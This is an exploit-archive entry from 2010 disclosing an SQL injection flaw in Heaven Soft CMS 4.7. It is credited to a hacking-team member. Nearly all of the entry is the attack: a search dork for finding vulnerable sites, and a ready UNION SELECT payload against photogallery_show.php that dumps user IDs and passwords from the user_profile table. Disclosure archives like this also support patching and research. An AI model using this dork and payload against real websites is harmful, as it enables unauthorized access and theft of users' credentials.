[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Heaven Soft CMS v 4.7 SQL Injection Vulnerability
# Published : 2010-05-14
# Author : PrinceofHacking
# Previous Title : JE Ajax Event Calendar Local File Inclusion Vulnerability
# Next Title : Web Design Solutions SQL Injection Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Tybe: SQL Injection Vulnerabilities
[x] Vendor: http://www.newyorkindoorcricket.com/
[x] Script Name: Heaven Soft, CMS Version: 4.7
[x] author: PrinceofHacking
[x] Team: Ashiyane Digital Security Team
[x] Mail : Prince[dot]H4ck@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
D0rk:"photogallery_show.php?id"
Exploit:
http://localhost/photogallery_show.php?id=-1
union+select+group_concat(user_id,0x3a,password),2+from+user_profile--
[!]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~